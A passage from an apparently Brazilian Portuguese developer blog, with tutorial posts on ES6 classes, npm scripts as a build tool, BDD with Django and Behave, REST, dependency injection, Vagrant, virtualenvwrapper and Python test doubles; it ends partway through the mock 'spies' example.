Sim! A sintaxe apresentada no ECMAScript 6 não passa de açúcar sintático!

Na prática, o Javascript continua utilizando a orientação a objetos através de Prototype. Mas isso não diminui em nada o valor desse approach para com a linguagem. Fazer Javascript OOP é a realidade de muitas aplicações (complexas ou não), e caso você queira escrever componentes utilizando React, verá que a dupla ES6 + React é capaz de produzir componentes com código extremamente legível e elegante.

Vamos começar escrevendo nossa classe Pessoa:

class Pessoa {
  constructor({ nome, idade }) {
    this.nome = nome;
    this.idade = idade;
  }

  sayTheName() {
    console.log(this.nome);
  }
}

let pessoa = new Pessoa({ idade: 18, nome: "Guido" });
pessoa.sayTheName(); // Guido
console.log(pessoa.__proto__.sayTheName); // function sayTheName

Agora possuímos a palavra reservada class para a construção de classes. Além disso, temos a inserção do método constructor, que será executado no momento em que a instância for criada.

Não precisamos mais da assinatura Pessoa.prototype.method = function para adicionarmos um método. Agora há uma sintaxe específica, muito mais clara e fácil de lembrar.

Stay classy San Diego! (sandiegouniontribune.com)

Note que no momento de instanciar a classe, nada muda em relação à versão atual. O que temos de mais "exótico" é a capacidade de nomearmos parâmetros (como os **kwargs do Python), na definição do construtor.

Esse conceito, apresentado na linha constructor({nome, idade}), é chamado de destructuring.

Para chegarmos a um resultado parecido no ES5, precisaríamos fazer o seguinte:

var Pessoa = function Pessoa(options) {
  var nome = options.nome;
  var idade = options.idade;

  this.nome = nome;
  this.idade = idade;
};

Herança

Lembra da confusão que era fazer heranças no Javascript? Pois bem, ganhamos nessa nova versão da linguagem a palavra reservada extends:

class Atleta extends Pessoa {
  constructor({ nome, idade, esporte = "Basquete" }) {
    super({ nome: nome, idade: idade });

    this.esporte = esporte;
  }
}

let jogador = new Atleta({ idade: 22, nome: "Fulano", esporte: "Futebol" });
console.log(jogador.nome); // Fulano
console.log(jogador.esporte); // Futebol

let jogador2 = new Atleta({ idade: 28, nome: "Beltrano" });
console.log(jogador2.nome); // Beltrano
console.log(jogador2.esporte); // Basquete

E para tornar ainda mais fácil essa prática, também ganhamos a função reservada super, que é responsável por executar o método pai, dada a chamada em um determinado método de uma classe filha.

Para finalizar o nosso exemplo, na linha constructor({nome, idade, esporte='Basquete'}) temos a apresentação do recurso default. Com ele, somos capazes de definir valores padrões caso a passagem de determinado parâmetro seja omitida.

Considerações finais

Se tem algo que chama a atenção com o advento do ECMAScript 6 é a facilidade na construção de classes e objetos, uma coisa que sempre foi muito confusa (mas não menos eficiente) em Javascript.

Bibliotecas como o React tem feito um bom uso desse recurso, proporcionando soluções limpas e legíveis, fáceis de estender e customizar.

O suporte pelos browsers ainda não é dos melhores, se fazendo necessário o uso do Babel para o transpiling de ES6 para ES5. Mesmo assim, nada que impeça o uso de sintaxe ES6 nos seus próximos projetos.

Confira a versão "transpilada" no Babel.

Até a próxima!

Referências

Vivendo sem o Grunt

Mon, 22 Feb 2016 12:35:00 GMT

No meu primeiro contato com o Grunt, ele não me convenceu. Qual era a necessidade de um task runner se eu já tinha o Makefile? O mesmo valia para o build de estáticos... Frameworks como o Django já possuíam um pipeline de concatenação e minificação, não sendo necessário que um processo externo interferisse em algo que (até então) funcionava muito bem.

Foi ao trabalhar com Single Page Applications que o Grunt me conquistou. Coisas que iam da otimização de imagens a deploy para ambientes passaram a ser responsabilidade da ferramenta, e a partir desse momento eu a carreguei para todo projeto que participei.

Mas o Grunt não é "bala de prata". Se para determinados problemas ele funciona muito bem, para outros ele representa um "peso" questionável na sua stack. Aumentando tempo de desenvolvimento (alguém aí já sofreu com o grunt-contrib-watch?), build e setup do seu ambiente.

É baseado nesse contexto que faço coro com alguns developers espalhados por aí: Talvez o seu projeto não precise do Grunt.

O que há de errado com o ele?

Nada!

Grunt, Gulp, Brocolli, Brunch, etc. são ferramentas super bacanas que cumprem com louvor o seu objetivo. Só que assim como o jQuery, para determinados casos elas podem ser "too much".

Assim como há uma frente defendendo o uso de microlibs ao invés de fat frameworks, há uma frente defendendo o uso do NPM como ferramenta de build. E por mais que possa parecer "mimimi", alguns argumentos fazem certo sentido. Como por exemplo, o do Keith Cirkel no "Why we should stop using Grunt & Gulp":

None of these build tools work without plugins. Just found an awesome new tool which will revolutionise your build process? Great! Now just wait for someone to write a wrapper for Grunt/Gulp/Brocolli, or write it yourself. Rather than just learning the command line for the tool you want to use, you now have to learn its programatic API, plus the API for your build tool.

Flamewars e "discursos de ódio" à parte, a pergunta que fica é: Será que é tão difícil assim montar um pipeline de build sem o uso de Grunt e Gulp?

Nem todo mundo gosta de Javalis (br.ign.com)

Ter uma ferramenta a menos na stack do projeto pode tornar-ser um diferencial ao reduzir atrito e curva de aprendizado. Mas tirar o Grunt da jogada não significa necessariamente ter menos complexidade no seu projeto... Apenas significa fazer a mesma coisa com uma dependência a menos.

NPM como ferramenta de build

O Livereload é uma biblioteca escrita em Node que levanta um servidor que monitora alterações no seu projeto e promove um refresh no navegador web.

Podemos executá-lo através da linha de comando:

$ livereload meuprojeto/static/css

É possível usar o package.json como um "centralizador" de operações, assim como fazemos com o nosso Makefile:

$ npm run livereload

Para tanto, no arquivo package.json, precisamos adicionar a chave scripts com as instruções de execução para o comando livereload:

// package.json

...
"scripts": {
    "livereload": "livereload meuprojeto/static/css"
}
...

Talvez haja a necessidade da execução de um comando mais complexo. Para isso, podemos utilizar um script Node como ajuda:

// build/livereload.js

var livereload = require("livereload");

var PATH_CSS = "meuprojeto/build/static/css";
var PATH_JS = "meuprojeto/build/static/js";

var server = livereload.createServer();
server.watch([PATH_CSS, PATH_JS]);

E o nosso arquivo de configuração ficaria assim:

// package.json

...
"scripts": {
    "livereload": "node buid/livereload"
}
...

Vale lembrar que o npm já possui alguns comandos padrões, que não necessitam da instrução run. Por exemplo, temos a execução de testes através do comando npm test.

Um exemplo mais complexo

O exemplo acima é simples e questionável. Vamos partir de uma necessidade mais palpável e complexa: Quero compilar componentes escritos em React e ES6.

Para ilustrar, usaremos as bibliotecas React, Babelify e UglifyJS:

$ npm install react --save
$ npm install babelify babel-preset-react babel-preset-es2015 uglify-js --save-dev

Podemos criar dois comandos diferentes na nossa chave scripts, um para transpiling de Javascript e outro para minificação:

// package.json

"compile-js": "browserify meuprojeto/js/script.js -o meuprojeto/build/static/js/bundle.js -t [ babelify --presets [ es2015 react ] ]",

"minify-js": "uglifyjs meuprojeto/build/static/js/bundle.js -o meuprojeto/build/static/js/bundle.min.js"

Grande demais? É possível isolar esses comandos em scripts, como no exemplo do livereload:

// package.json

"compile-js": "node build/compile-js",
"minify-js": "node build/minify-js"

Para tornar mais simples a execução, vamos criar uma task genérica de build:

// package.json

"compile-js": "node build/compile-js",
"minify-js": "node build/minify-js",
"build": "npm run compile-js && npm run minify-js"

Com uma ajudinha da lib Watch, podemos incrementar ainda mais o nosso processo:

// package.json

...
"scripts": {
    "compile-js": "node build/compile-js",
    "minify-js": "node build/minify-js",
    "build": "npm run compile-js && npm run minify-js",
    "watch": "watch 'npm run build' meuprojeto/static/js"
}
...

Pronto! Agora temos os comandos npm run build e npm run watch que nos ajudarão na demanda de "transpilar" e minificar componentes escritos em React.

Não foi tããããão difícil assim... Certo? Bastou abrir a documentação de cada ferramenta e perder alguns minutinhos lendo.

"Mas você teve que escrever mais linhas que escreveria utilizando um plugin do Grunt."

Possivelmente. Bem como é possível que eu nunca mais vá mexer nessas linhas escritas, uma vez que o processo já esteja montado e operacional.

Considerações finais

O mérito dos exemplos acima não está necessariamente na utilização do npm como ferramenta de build, mas sim nos incríveis pacotes que a comunidade Javascript tem construído para agilizar a construção de aplicações.

Ferramentas como o Grunt, em seu tempo, fizeram uma revolução no que tange o desenvolvimento de aplicações web (e não há dúvida que ainda o fazem). Mas com o advento do webpack, Browserify e PostCSS, o seu uso passou de essencial para opcional.

Até a próxima.

Referências

BDD com Django e Behave

Wed, 03 Feb 2016 23:50:00 GMT

Testar o comportamento da sua aplicação, ao invés de pequenos módulos isolados, é uma grande prática no que diz respeito a escrita de testes que guiem o seu desenvolvimento.

Deixando a polêmica do "TDD is dead" de lado, criar cenários que garantem um determinado fluxo, além de servir como um excelente contrato à sua suite de aceitação, é uma ótima ferramenta para garantir que a integração back-end/front-end está funcionando de acordo com o esperado.

Devo ser sincero com você, caro leitor: Fazer BDD com Django (IMO) sempre foi uma dor de cabeça. Já utilizei algumas ferramentas, como unittest focado em comportamento, doctests, Lettuce, Pycurracy e até mesmo Jasmine... Nada pareceu ser "o certo a se fazer".

Recentemente esbarrei com um artigo ensinando a usar o Behave, um engine de testes BDD para Python... E foi aí que a minha opinião mudou.

Oh, behave!

O Behave é uma biblioteca Python que permite a escrita de specs em linguagem humana, e a execução dos cenários através de asserts em "linguagem de programação". Agnóstico de framework, é um engine promissor, fácil de usar, e que possui uma boa comunidade dando suporte.

Austin Powers: Oh behave (flickr.com)

Você pode escrever a integração do lib com o Django, como demonstrado na documentação oficial. Como eu sou preguiçoso, prefiro utilizar o módulo behave-django, criado por Mitchel Cabuloy:

$ pip install behave-django

Não podemos esquecer de colocá-lo no INSTALLED_APPS:

INSTALLED_APPS = (
    ...
    'behave_django',
    ...
)

Agora basta criar uma estrutura na raíz do seu projeto (no mesmo nível do manage.py), com a seguinte formação:

features/
    steps/
        steps.py
    environment.py
    funcionalidade.feature

Vamos para um exemplo mais prático: Eu quero que minha home exiba meu nome de usuário, caso eu esteja logado.

Começaremos pelo arquivo .feature. Vou chamá-lo de features/home-logada.feature:

Feature: Logged in page

    Scenario: Access index page

        Given an authenticated user
        When I access the home page
        Then I see my username printed

Já podemos executar o behave através do manage.py:

$ python manage.py behave

Você verá uma saída sinalizando que nosso cenário está montado, mas que ainda não há testes executando de fato.

O arquivo de teste pode ter o nome que você desejar, o Behave olhará para cada ocorrência dentro de steps/ e coletará os passos que serão usados para a execução das especificações.

Mas antes de escrevermos os testes, vamos falar de uma ferramenta essencial quando estamos fazendo testes de interface web com Python.

Splinter

Diretamente da documentação oficial do Splinter:

Splinter is an open source tool for testing web applications using Python. It lets you automate browser actions, such as visiting URLs and interacting with their items.

A ferramenta fornece uma API única para diferentes ferramentas de testes de interface web, como Selenium, PhantomJS e zope.testbrowser.

Conseguimos instalá-la de forma muito fácil, através do comando pip:

$ pip install splinter

É ele que nos permite, através de sua interface, escrever testes utilizando o driver do Firefox (por exemplo), e deixar as tasks executando em nosso servidor de integração contínua com um driver headless, como o PhantomJS.

Django + Behave + Splinter == Epic Win

Podemos utilizar o Splinter juntamente com a mecânica de teste do Behave. A maneira mais fácil é através do esquema de configuração da suite, criando o arquivo features/environment.py, com o seguinte conteúdo:

from splinter import Browser


def before_all(context):
    context.browser = Browser()
    context.server_url = 'http://localhost:8000'


def after_all(context):
    context.browser.quit()

Pronto! O contexto dos nossos testes tem a propriedade browser, que é a instância do Splinter para execução dos testes de interface.

As specs executarão com o Firefox, por padrão. Caso queira alterar o navegador, basta especificá-lo na instância de Browser:

context.browser = Browser('chrome')

Dado um determinado cenário

Vamos escrever o código Python necessário para atender a seguinte condição:

Given an authenticated user

Para isso, criaremos um step específico para autenticação:

# features/steps/auth.py

from behave import given
from django.contrib.auth.models import User


@given('an authenticated user')
def given_auth_user(context):
    User.objects.create_superuser(username='test', email='foo@bar', password='test')

    br = context.browser
    br.visit(context.base_url + '/admin/')
    br.fill('username', 'test')
    br.fill('password', 'test')
    br.find_by_css('.submit-row input').first.click()

O código acima é simples e objetivo. Através do decorator @given associamos um determinado pedaço de código Python a um trecho das histórias escritas em .feature.

Rodando o behave, teremos uma saída similar a essa:

$ python manage.py behave

Creating test database for alias 'default'...
Feature: Logged in page # features/home-logada.feature:1

    Scenario: Access index page    # features/home-logada.feature:3
    Given an authenticated user    # features/steps/auth.py:5 0.646s
    When I access the home page    # None
    Then I see my username printed # None

O motor de testes, além de identificar e executar o trecho de código necessário para contemplar uma expressão, exibe o tempo de execução da mesma.

Quando alguma coisa acontece

Vamos para a parte onde o usuário interage com a aplicação.

# features/steps/actions.py

from behave import when


@when('I access the home page')
def access_the_home_page(context):
    br = context.browser
    br.visit(context.base_url + '/')

Aqui começa a ficar mais evidente o funcionamento de steps. Se amanhã eu precisar de um novo cenário onde é necessário acessar a página inicial, eu posso aproveitar o when criado acima. O Behave fará isso automaticamente para você... Portanto, organizar os steps de uma forma que eles agrupem um determinado grupo de ações é uma sugestão interessante.

Então eu espero algum resultado

E para finalizar o nosso exemplo, vamos para o decorator de @then, que é o passo onde validamos o resultado dos acontecimentos disparados por @when:

# features/steps/results.py

from behave import then


@then('I see my username printed')
def see_my_username(context):
    br = context.browser
    body = br.find_by_css('body')

    assert 'Hello test!' in body.text

Pronto! Executamos nossas specs e temos o seguinte resultado:

$ python manage.py behave

Creating test database for alias 'default'...
Feature: Logged in page # features/home-logada.feature:1

    Scenario: Access index page      # features/home-logada.feature:3
    Given an authenticated user    # features/steps/auth.py:5 0.654s
    When I access the home page    # features/steps/actions.py:4 0.888s
    Then I see my username printed # features/steps/results.py:4 0.075s

1 feature passed, 0 failed, 0 skipped
1 scenario passed, 0 failed, 0 skipped
3 steps passed, 0 failed, 0 skipped, 0 undefined
Took 0m1.617s
Destroying test database for alias 'default'...

Garantimos através dos cenários acima que, dado um usuário logado, imprimiremos o seu username na rota http://localhost:8000/.

Considerações finais

O Behave é uma ótima ferramenta de BDD para Python. Sua integração com o Django e demais frameworks é relativamente simples, o que só aumenta a simpatia pela ferramenta.

Já sofri muito com escrita de testes de aceitação com Django. Não é um veredicto, mas até o momento o sentimento é extremamente positivo em relação ao casamento entre Behave e Django.

Até a próxima!

Referências

REST - Parte 1

Wed, 06 Jan 2016 13:00:00 GMT

Em tempos onde os microservices ganham cada vez mais força, e aplicações de sucesso liberam a sua API para desenvolvedores construírem um ecossistema ao redor delas, não considerar seguir boas práticas na construção de um serviço pode ser uma tomada de decisão arriscada, tanto no quesito do negócio, quanto no quesito técnico.

A Internet já passou por muita coisa quando o assunto é API, desde a total falta de padrões até a criação de protocolos exageradamente complexos. O REST vem como uma solução elegante que está longe de ser "anárquica", porém mais longe ainda de ser complicada.

Serviços web podem ser burocráticos

Antes de mais nada é preciso dizer que a "internet é maior que a web". Ou seja, quando digo que você deveria utilizar REST, estou sendo específico para um determinado tipo de solução na camada HTTP.

Quando falo sobre serviços na web, automaticamente sou remetido a SOA ou SOAP. Até então, nunca consegui pensar nesses dois termos de forma dissociada, mas não é bem assim que as coisas funcionam...

A Arquitetura Orientada a Serviço (SOA) é um padrão onde aplicações provém serviços para demais componentes através de protocolos de comunicação. Uma arquitetura SOA vai além de definir uma API, ela define a interface em termos de protocolo e funcionalidade, provendo assim uma maior interoperabilidade do seu serviço.

Mas o que necessariamente significa o termo "serviço"? Segundo o Open Group:

Is a logical representation of a repeatable business activity that has a specified outcome (e.g., check customer credit, provide weather data, consolidate drilling reports). Is self-contained. May be composed of other services. Is a "black box" to consumers of the service.

Já o SOAP, de forma bem resumida, é um protocolo que utiliza a linguagem de marcação XML e baseia-se nos protocolos de comunicação RPC e HTTP para negociação e transmissão de mensagens. Quem já trabalhou com a tecnologia pode até duvidar, mas a sua premissa é simplicidade e independência de linguagem, modelo e transporte.

Com o passar do tempo os termos acima ficaram estigmatizados por serem "bloated". O excesso de "corporativismo" para construir um serviço e distribuir dados pode terminar em um processo muito bem documentado, porém, é uma "carga" de banda e desenvolvimento que nem sempre estamos dispostos a pagar.

É aí que entra o REST.

Serviços web podem ser simples

O REpresentational State Transfer (REST) é um estilo de arquitetura amplamente utilizado no desenvolvimento de serviços web. Segundo o InfoQ:

REST é um conjunto de princípios que definem como Web Standards como HTTP e URIs devem ser usados (o que freqüentemente difere um pouco do que muitas pessoas atualmente fazem). A promessa é que se você aderir a princípios REST enquanto estiver desenhando sua aplicação, você terá um sistema que explora a arquitetura da Web em seu benefício.

Em outras palavras, você não precisa de um programa específico no lado do back-end e um client exclusivo no front-end para consumir serviços REST... Basta lermos arquivos XML ou JSON utilizando os verbos (GET, POST, PUT e DELETE) do protocolo HTTP.

Considere o Martin Lawrence como seu dado (stackoverflow.com)

Na verdade, espera-se que o consumidor e produtor do serviço não possuam qualquer vínculo maior que o "respeito" ao contrato daquela determinada API, reduzindo consideravelmente o consumo de banda, limitando o número de operações ao número de verbos do protocolo e evitando ambigüidade.

Na parte 2 desse artigo iremos explorar de forma prática a utilização de REST para a construção de uma API na web.

Até a próxima...

Referências

Injeção de Dependência

Sat, 24 Oct 2015 16:30:00 GMT

Se você já teve contato com Laravel ou AngularJS, sabe muito bem que um dos maiores motivos de orgulho desses (e de tantos outros) frameworks é a "Injeção de Dependência", ou do inglês, Dependency Injection. Imagine-se em uma reunião, o seu Product Owner pede soluções para problemas complexos, e você manda logo um "precisamos usar injeções de dependências"... É aumento salarial na hora!

Brincadeiras à parte, estou fazendo um curso de AngularJS no Udemy, e toda vez que o professor se depara com uma palavra "pomposa", ele para a aula para fazer um "big word alert".

Resolvi copiar essa ideia e mostrar como esse conceito na verdade é relativamente simples.

Dependency Injection é um Design Pattern

Assim como Closures e Decorators, o nome pode até causar certo calafrio... Don't panic! Segundo a documentação da AngularJS:

Dependency Injection (DI) is a software design pattern that deals with how components get hold of their dependencies.

Ou seja, ao invés de permitir que o seu componente de software manuseie dependências, você explicitamente passará as dependências que ele necessita.

No Stackoverflow temos o melhor exemplo da face da terra para ilustrar uma injeção de dependência. Abaixo um código sem o DI:

public SomeClass() {
    myObject = Factory.getObject();
}

Agora, com DI:

public SomeClass(MyClass myObject) {
    this.myObject = myObject;
}

Simples, não?! As dependências do seu componente ficam explícitas, fáceis de gerenciar, e seu código fica mais fácil de manter.

Injenções podem te dar super poderes... Ou não. (hanhchampion.blogspot.com.br)

A Angular utiliza esse conceito para que seja possível passar para o seu controller, uma série de services necessários para a resolução de um problema:

var myApp = angular.module("myApp", []);

myApp.controller("mainController", [
  "$scope",
  "$log",
  function($scope, $log) {
    $scope.foo = "bar";
    $log.log($scope.foo);
  },
]);

Imagine o trabalhão que seria em todo controller ter que instanciar o serviço de $scope ou de $log?

Considerações finais

Testar um código que utiliza Dependency Injection é muito mais fácil, pois mockar as dependências e garantir o comportamente esperado pode ser feito com muito menos linhas de código.

Além disso, se o contrato de uma dependência mudar, com essa prática fica mais fácil de alterar o seu código, fazendo com que a integração entre componentes seja mais smooth.

Se você ainda duvida desse design pattern, fica a constatação: É fácil assegurar que a AngularJS não seria o framework que é hoje, sem o uso dessa prática.

Até a próxima.

Referências

Esse é mais um post sobre Vagrant

Sat, 03 Oct 2015 14:00:00 GMT

Sim! Esse é mais um post sobre Vagrant, entre tantos outros espalhados pela web. Sim! Se você já conhece a ferramenta, provavelmente não terá nada de novo para você nesse artigo.

Já falamos um pouco sobre ambientes virtuais, e as vantagens são numerosas. A "atomicidade" de poder construir e destruir um ambiente inteiro, sem acarretar efeitos colaterais ao seu ambiente de trabalho, traz agilidade sem perder segurança e sanidade.

Sem dúvida o que levou "virtualização" de um buzzword para uma necessidade real na vida dos profissionais foi a diminuição do overhead na criação de ambientes virtuais. Hoje, uma porção de ferramentas é capaz de realizar essa operação de maneira muito fácil.

Entre essas ferramentas está o Vagrant.

Quanto mais perto de produção, melhor

Por quê? Por que usar Vagrant? Por que adicionar essa complexidade na minha stack de desenvolvimento?

Quem utiliza mais de um ambiente (como dev, qa, staging, etc) defende que eles servem como "peneiras" para pegarmos eventuais bugs e problemas de integração de código.

Você já deve ter se deparado com o famoso problema "works on my machine": Instalou aquela dependência que resolve a sua vida, mas quando sobe para algum ambiente ela simplesmente não funciona.

Ter um ambiente muito próximo de produção disponível para você em tempo de desenvolvimento pode ser uma excelente ideia para economizar tempo, otimizar processos, e lhe dar segurança para fazer aquela subida de código em plena sexta-feira.

Vagrant FTW

Segundo o Wikipedia:

Vagrant is computer software that creates and configures virtual development environments. It can be seen as a higher-level wrapper around virtualization software such as VirtualBox, VMware, KVM and Linux Containers (LXC), and around configuration management software such as Ansible, Chef, Salt, and Puppet.

É isso mesmo o que você leu! O Vagrant é uma ferramenta que serve como uma "cola" entre a sua máquina VirtualBox e o seu provisionamento por Puppet.

Nesse blog, eu uso o Vagrant para simular o meu ambiente de produção da Digital Ocean, composto por uma máquina Ubuntu Linux com Nginx, provisionada através de Salt Stack. O meu Vagrantfile ficou assim:

# Vagrantfile API/syntax version. Don't touch unless you know what you're doing!
VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
  config.vm.box = "ubuntu1210-64"
  config.vm.box_url = "https://github.com/downloads/roderik/VagrantQuantal64Box/quantal64.box"

  config.vm.network :forwarded_port, guest: 80, host: 8080
  config.vm.synced_folder "salt/roots/", "/srv/salt/"

  config.vm.provision :salt do |salt|

    salt.minion_config = "salt/minion"
    salt.run_highstate = true
    salt.verbose = true

  end
end

Quer entender o que está acontecendo no exemplo acima? A documentação de Getting started do Vagrant é uma excelente dica para começar. Engloba desde a instalação até o provisionamento.

Não é desse Vagrant que estamos falando... (deathsdoormatt.com)

O Salt Stack é uma excelente ferramenta de provisionamento escrita em Python. Vale muito a pena conhecer.

Considerações finais

Além da vantagem de ter um ambiente próximo de produção disponível para você em tempo de desenvolvimento, com o Vagrant temos uma segunda vantagem: Quando um novo integrante fazer parte do seu time, basta ele clonar o projeto e dar um vagrant up. Pronto! O ambiente levanta-se em uma máquina virtual, e é provisionado sem necessidade de intervenção humana.

Existem toneladas de artigos na Web sobre o Vagrant. O Usando o Vagrant como ambiente de desenvolvimento no Windows, do Simples Ideias e Vagrant: Fácil E útil do Flávio Silveira são duas boas referências para quem está iniciando.

Nos próximos posts pretendo dar uma pincelada no Salt Stack e Ansible.

Até a próxima.

Referências

Virtualenvwrapper: O básico para um bom ambiente de desenvolvimento Python

Thu, 23 Jul 2015 12:30:00 GMT

Já falamos sobre o virtualenv há muito tempo atrás, aqui no blog. Tirando alguns detalhes técnicos, a bem da verdade é que de lá para cá, pouca coisa mudou.

Apesar do seu uso ser completamente trivial, ter virtualenvs espalhados pelo seu disco rígido pode ser chato de gerenciar. Que tal uma forma simples e centralizada de manipular os seus ambientes Python?

É aí que entra a virtualenvwrapper!

virtualenv + virtualenvwrapper == Win

O virtualenvwrapper, como o seu nome sugere, é um wrapper para o virtualenv, adicionando algumas funcionalidades para facilitar a vida dos Pythonistas.

Uma ferramenta simples, porém maravilhosa, que engloba as seguintes features:

Organiza todos os seus ambientes virtuais em um único lugar.
Adiciona funções de create, delete e copy.
Troca de ambiente com um único comando.
Permite a criação de hooks para todas as suas operações.

Além disso, é uma ferramenta bem documentada! As instruções a seguir são todas retiradas da própria documentação.

Não confunda ambiente virtual com realidade virtual (oculus-news.com)

Instalando

Para instalar o virtualenvwrapper, o pip é o caminho mais fácil:

$ pip install virtualenvwrapper

Se você estiver usando o Bash, será necessário executar as seguintes instruções após a instalação (recomendável colocá-las em seu ~/.bash_profile):

$ export WORKON_HOME=~/.virtualenvs
$ source /usr/local/bin/virtualenvwrapper.sh

Caso você utilize o oh-my-zsh, basta adicionar o virtualenvwrapper ao seu plugins.

A partir de agora, temos novos comandos disponíveis em nossa linha de comando.

Usando

Antes de mais nada, uma dica: Se você não quer mais cair no pecado de instalar pacotes Python em seu sistema operacional, e permitir apenas instalação em virtualenvs, basta exportar a seguinte variável de ambiente:

export PIP_REQUIRE_VIRTUALENV=true

Pronto! O pip apenas continuará o procedimento de instalação de pacotes se você estiver com o seu ambiente virtual ativo.

Para criar um virtualenv, utilizamos o comando mkvirtualenv:

$ mkvirtualenv teste

Caso você queira criar um ambiente para uma versão de Python diferente da default do seu sistema, basta especificar com o parâmetro --python:

$ mkvirtualenv teste_py3 --python=/usr/local/bin/python3.4

Estamos com o ambiente ativo, isolado e totalmente limpo! Vamos instalar o Django:

(teste) $ pip install django

E como sei que o meu pacote foi instalado em um ambiente isolado, e não no site-packages do meu sistema operacional? No caso do exemplo acima, podemos garantir verificando o path do executável django-admin:

(teste) $ which django-admin
/Users/<user>/.virtualenvs/teste/bin/django-admin

Notem o .virtualenvs/teste/ no path. Muito legal, não? Dessa forma, se eu tiver um projeto que necessite do Django 1.4, por exemplo, consigo instalá-lo sem afetar os demais projetos na minha máquina.

Para desativar o environ, basta executar o comando deactivate:

(teste) $ deactivate

E para trocar de ambiente virtual, usamos o comando workon:

$ workon teste

Caso você queira ir para a pasta correspondente ao projeto, sempre que realizar o workon, basta utilizar o comando setvirtualenvproject no diretório escolhido:

$ workon teste
$ cd ~/Workspace/teste
$ setvirtualenvproject
Setting project for teste to /Users/<user>/Workspace/teste

Pronto! Agora toda vez que você fizer um workon, será automaticamente direcionado para a pasta ~/Workspace/teste.

Considerações finais

Quando você trabalha com inúmeros projetos em Python, fica muito evidente a necessidade de ambientes virtuais. Ter diferentes libs, de diferentes projetos, em diferentes versões, de maneira isolada é sem dúvida nenhuma uma das maiores vantagens de utilizar virtualenv.

Então, se você quer começar em Python (de forma "profissional"), a minha dica é: Comece instalando o virtualenvwrapper.

Referências

virtualenvwrapper - Docs

Os testes e os dublês - Parte 2

Mon, 29 Jun 2015 12:30:00 GMT

No post anterior, vimos um dos cenários de testes utilizados por times da Globo.com, onde não escrevemos testes "isolados" (famigerados microtests), e abusamos da integração entre classes e serviços.

Mas até mesmo para nós existe um limite que não podemos ultrapassar: O caso de uma consulta a uma API externa, por exemplo. Nesse cenário, precisamos fingir que estamos fazendo isso, sem perder a segurança em nossas asserções.

Dublês ao resgate

Como já mencionado, os test doubles têm por finalidade substituir um objeto real, afim de validar algum conceito em nossos testes.

Para auxiliar-nos nessa demanda, vamos utilizar a Python Mock, biblioteca de mocking padrão do Python 3. Com ela, poderemos fingir integrações complexas da nossa aplicação, com o objetivo de testar um determinado comportamento em "custo" e tempos atrativos.

I find your lack of tests disturbing (jasonpolites.github.io)

Se você (assim como eu) ainda está no Python 2.7.X, podemos instalar a lib através do pip:

$ pip install mock

Mais instruções para instalação da Mock.

Uma vez instalada, podemos partir para conceituar de forma prática cada um dos tipos de dublês listados no post anterior.

Dummys

Um Dummy Object é um tipo de dublê muito simples, que é usado apenas para preencher passagens de parâmetros:

class Carro:
    rodas = 4

    def __init__(self, descricao, fabricante):
        self.descricao = descricao
        self.fabricante = fabricante

# Teste

def test_usando_dummy():
    fabricante = None
    carro = Carro('Fusca', fabricante)

    assert carro.rodas == 4

Como observado, um Dummy não precisa ser necessariamente um mock. Um valor em branco, nulo, uma string vazia, qualquer coisa usada para substituir um objeto real em uma passagem de parâmetro, pode ser considerado um Dummy.

Fakes

Um Fake é um objeto com certa funcionalidade, muito útil para resolver alguma dependência em testes, mas que não é ideal para o ambiente de produção:

class Carro:
    rodas = 4

    def __init__(self, descricao, fabricante):
        self.descricao = descricao
        self.fabricante = fabricante

    def __str__(self):
        return "{0} ({1})".format(
            self.descricao,
            self.fabricante.get_descricao(),
        )

# Teste

class FabricanteFake:
    descricao = 'Volkswagen'

    def get_descricao(self):
        return self.descricao

def test_usando_fake():
    fabricante = FabricanteFake()
    carro = Carro('Fusca', fabricante)

    assert str(carro) == 'Fusca (Volkswagen)'

No exemplo acima, (ainda) não utilizamos nenhum recurso da Mock. Dependendo do contexto, não precisamos de uma biblioteca para criarmos um Fake, e isso pode ser encarado de forma positiva, pois fica muito clara a nossa intenção no teste.

É relativamente comum vermos Fakes sendo utilizados para "dublar" acessos a um banco de dados. Quando falamos de testes em Django, geralmente utilizamos uma persistência mais leve (como um banco SQLite, por exemplo) que substitui um banco mais complexo, tornando a nossa suíte de testes mais simples.

Mocks

Um tipo de dublê criado para um teste específico. Com ele, somos capazes de setar retornos de valores pré-definidos, bem como verificar se algum método foi chamado durante a execução do teste:

class Carro:
    rodas = 4

    def __init__(self, descricao, fabricante):
        self.descricao = descricao
        self.fabricante = fabricante

    def __str__(self):
        return "{0} ({1})".format(
            self.descricao,
            self.fabricante.get_descricao(),
        )

# Teste

def test_usando_mock():
    fabricante = MagicMock()
    fabricante.get_descricao.return_value = 'Volkswagen'
    carro = Carro('Fusca', fabricante)

    assert str(carro) == 'Fusca (Volkswagen)'
    fabricante.get_descricao.assert_called_once_with()

Mocks são fundamentais quando estamos lidando com interações das quais não podemos (ou fica muito custoso) prever o comportamento. Particularmente, gosto de usar Mocks para garantir que o contrato entre o meu método/classe e meu serviço/API esteja coerente.

Stubs

Semelhantes aos Mocks, com os Stubs temos a capacidade de retornar respostas pré-definidas durante a execução de um teste. A principal diferença entre ambos é que com Stubs, não costumamos checar se eles foram propriamente executados:

class Carro:
    rodas = 4

    def __init__(self, descricao, fabricante):
        self.descricao = descricao
        self.fabricante = fabricante

    def __str__(self):
        return "{0} ({1})".format(
            self.descricao,
            self.fabricante.get_descricao(),
        )

# Teste

from mock import MagicMock


def test_usando_stub():
    fabricante = MagicMock()
    fabricante.get_descricao.return_value = 'Volkswagen'
    carro = Carro('Fusca', fabricante)

    assert str(carro) == 'Fusca (Volkswagen)'

test_usando_stub()

Stubs são excelentes para fingir interações com bibliotecas third-party. Não precisamos compreender a sua complexidade, apenas fingimos que ela está lá e retornando valores para os nossos test cases. Exemplo:

from datetime import date
with patch('mymodule.date') as mock_date:
    mock_date.today.return_value = date(2010, 10, 8)
    mock_date.side_effect = lambda *args, **kw: date(*args, **kw)

    assert mymodule.date.today() == date(2010, 10, 8)
    assert mymodule.date(2009, 6, 8) == date(2009, 6, 8)

Spies

Com Spies, ao invés de setarmos expectativas, armazenamos as chamadas realizadas por colaboradores:

class Carro:
    rodas = 4

    def __init__(self, descricao, fabricante):
        self.descricao = descricao
        self.fabricante = fabricante

    def __str__(self):
        return "{0} ({1})".format(
            self.descricao,
            self.fabricante.get_descricao(),
        )

# Teste

from mock import MagicMock


def test_usando_spy():
    fabricante = MagicMock()
    fabricante.get_descricao.return_value = 'Volkswagen'

    fusca = Carro('Fusca', fabricante)
    gol = Carro('Gol', fabricante)

